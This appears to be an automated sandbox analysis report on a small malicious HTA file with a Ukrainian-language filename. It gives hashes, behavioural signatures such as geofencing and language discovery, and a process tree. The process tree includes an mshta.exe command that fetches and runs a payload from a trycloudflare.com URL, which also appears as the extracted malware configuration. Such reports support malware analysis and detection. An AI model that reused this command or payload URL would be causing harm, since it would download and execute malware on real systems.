Analysis
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max time kernel
92s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
25/09/2024, 18:00
Static task
static1
Behavioral task
behavioral1
Sample
Витяг_22024160000000100_20.09.2024/Витяг_22024160000000100_20.09.2024_15-40-26.hta
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Витяг_22024160000000100_20.09.2024/Витяг_22024160000000100_20.09.2024_15-40-26.hta
Resource
win10v2004-20240802-en
General
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Target
Витяг_22024160000000100_20.09.2024/Витяг_22024160000000100_20.09.2024_15-40-26.hta
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Size
459B
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MD5
9e337738f01d162a4452a50373f05988
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SHA1
717a6ad391cdd5eacfff3f660694e46da7c3ba09
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SHA256
1f0199ae51bf11ab82ed536b15c97b16a29814bf63705fcbf60764da77507871
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SHA512
ae3188f7c2b50607af4c8d47437642b2903b654cc8547aac5c6ca904fe5d29b017cff77a2770923e791597a46eaee8bdad2d10c79f11047c310f7d9d7ca1111c
Malware Config
Extracted
https://hydraulic-nights-adds-substance.trycloudflare.com/SsU/instructor/precisely.rar
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 4940 mshta.exe 9 4940 mshta.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 948 wrote to memory of 4940 948 mshta.exe 82 PID 948 wrote to memory of 4940 948 mshta.exe 82 PID 948 wrote to memory of 4940 948 mshta.exe 82
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Витяг_22024160000000100_20.09.2024\Витяг_22024160000000100_20.09.2024_15-40-26.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:948 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\system32\mshta.exe" https://hydraulic-nights-adds-substance.trycloudflare.com/SsU/instructor/precisely.rar2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:4940
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